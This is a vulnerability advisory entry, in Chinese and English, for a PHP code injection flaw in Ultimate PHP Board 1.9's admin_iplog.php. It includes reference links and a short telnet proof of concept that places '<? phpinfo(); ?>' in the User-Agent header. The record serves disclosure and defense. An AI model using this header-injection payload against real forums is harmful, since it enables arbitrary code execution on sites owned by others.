https://www.exploit-db.com/exploits/22642
https://www.securityfocus.com/bid/87150
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200307-014

UltimatePHPBoard(UPB)1.9存在漏洞。远程攻击者可以在管理员执行admin_iplog.php时，借助一个User-Agent头部含有代码的HTTP请求，执行任意具有UPB管理员权限的PHP代码。

source: http://www.securityfocus.com/bid/7678/info

A vulnerability has been reported in Ultimate PHP Board. The problem is said to occur due to insufficient sanitization of user-supplied input before including log data into a PHP file. As a result, it may be possible for a remote attacker to execute arbitrary PHP commands within the context of the web server. The execution of these commands would only occur when an administrator chooses to view the log of forum activity via the 'admin_iplog.php' script. 

$ telnet www.target.org 80
Connected to www.target.org at 80
GET /board/index.php HTTP/1.0
User-Agent: <? phpinfo(); ?>

PHP Outburst Ultimate Php Board Upb 1.9

来源:BUGTRAQ
名称:20030524UPB:DiscussionBoard/Web-SiteTakeover
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105379741528925&w;=2
来源:f0kp.iplus.ru
链接:http://f0kp.iplus.ru/bz/024.en.txt